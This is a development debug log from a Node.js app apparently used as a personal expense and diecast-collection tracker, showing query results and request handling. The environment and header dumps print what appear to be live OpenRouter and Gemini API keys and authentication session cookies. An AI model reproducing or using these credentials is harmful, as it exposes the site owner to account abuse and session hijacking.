      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:11:16.635Z server-connect:router Serving templateView /collections
2026-02-04T06:11:16.635Z server-connect:app Executing action step identify
2026-02-04T06:11:16.635Z server-connect:app options: { provider: 'security' }
2026-02-04T06:11:16.635Z server-connect:output identity: 1
2026-02-04T06:11:16.635Z server-connect:app Executing action step restrict
2026-02-04T06:11:16.635Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:11:16.636Z server-connect:output restrict: undefined
2026-02-04T06:11:16.636Z server-connect:router Render template masters/collections
2026-02-04T06:11:16.636Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T06:11:16.896Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T06:11:16.896Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T06:11:16.896Z server-connect:app Executing action step identify
2026-02-04T06:11:16.896Z server-connect:app options: { provider: 'security' }
2026-02-04T06:11:16.896Z server-connect:output identity: 1
2026-02-04T06:11:16.896Z server-connect:app Executing action step restrict
2026-02-04T06:11:16.896Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:11:16.897Z server-connect:app Executing action step identify
2026-02-04T06:11:16.897Z server-connect:app options: { provider: 'security' }
2026-02-04T06:11:16.897Z server-connect:output identity: 1
2026-02-04T06:11:16.897Z server-connect:app Executing action step restrict
2026-02-04T06:11:16.897Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:11:16.897Z server-connect:output restrict: undefined
2026-02-04T06:11:16.897Z server-connect:app Executing action step select
2026-02-04T06:11:16.897Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T06:11:16.898Z server-connect:output restrict: undefined
2026-02-04T06:11:16.898Z server-connect:app Executing action step paged
2026-02-04T06:11:16.898Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T06:11:16.898Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T06:11:16.899Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 185,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T06:11:19.333Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T06:11:19.333Z server-connect:app Executing action step identify
2026-02-04T06:11:19.333Z server-connect:app options: { provider: 'security' }
2026-02-04T06:11:19.333Z server-connect:output identity: 1
2026-02-04T06:11:19.333Z server-connect:app Executing action step restrict
2026-02-04T06:11:19.333Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:11:19.334Z server-connect:output restrict: undefined
2026-02-04T06:11:19.334Z server-connect:app Executing action step paged
2026-02-04T06:11:19.334Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T06:11:19.335Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 50,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T06:12:00.709Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-04T06:12:00.710Z server-connect:app Executing action step identify
2026-02-04T06:12:00.710Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:00.710Z server-connect:output identity: 1
2026-02-04T06:12:00.710Z server-connect:app Executing action step restrict
2026-02-04T06:12:00.710Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:00.710Z server-connect:output restrict: undefined
2026-02-04T06:12:00.710Z server-connect:app Executing action step condition
2026-02-04T06:12:00.710Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T06:12:00.710Z server-connect:app Executing action step insert
2026-02-04T06:12:00.710Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:12:00.711Z server-connect:output insert: { affected: 1, identity: 192 }
2026-02-04T06:12:00.711Z server-connect:output condition: undefined
2026-02-04T06:12:00.964Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T06:12:00.964Z server-connect:app Executing action step identify
2026-02-04T06:12:00.964Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:00.964Z server-connect:output identity: 1
2026-02-04T06:12:00.964Z server-connect:app Executing action step restrict
2026-02-04T06:12:00.964Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:00.965Z server-connect:output restrict: undefined
2026-02-04T06:12:00.965Z server-connect:app Executing action step paged
2026-02-04T06:12:00.965Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T06:12:00.966Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 51,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T06:12:10.904Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T06:12:10.904Z server-connect:app Executing action step identify
2026-02-04T06:12:10.904Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:10.904Z server-connect:output identity: 1
2026-02-04T06:12:10.904Z server-connect:app Executing action step restrict
2026-02-04T06:12:10.904Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:10.905Z server-connect:output restrict: undefined
2026-02-04T06:12:10.905Z server-connect:app Executing action step paged
2026-02-04T06:12:10.905Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T06:12:10.906Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T06:12:17.847Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T06:12:17.847Z server-connect:app Executing action step identify
2026-02-04T06:12:17.848Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:17.848Z server-connect:output identity: 1
2026-02-04T06:12:17.848Z server-connect:app Executing action step restrict
2026-02-04T06:12:17.848Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:17.848Z server-connect:output restrict: undefined
2026-02-04T06:12:17.848Z server-connect:app Executing action step paged
2026-02-04T06:12:17.848Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T06:12:17.850Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'RAM',
      id: 189,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T06:12:21.482Z server-connect:router Serving templateView /diecast
2026-02-04T06:12:21.482Z server-connect:app Executing action step identify
2026-02-04T06:12:21.482Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:21.482Z server-connect:output identity: 1
2026-02-04T06:12:21.482Z server-connect:app Executing action step restrict
2026-02-04T06:12:21.482Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:12:21.483Z server-connect:output restrict: undefined
2026-02-04T06:12:21.483Z server-connect:router Render template layouts/main
2026-02-04T06:12:21.483Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
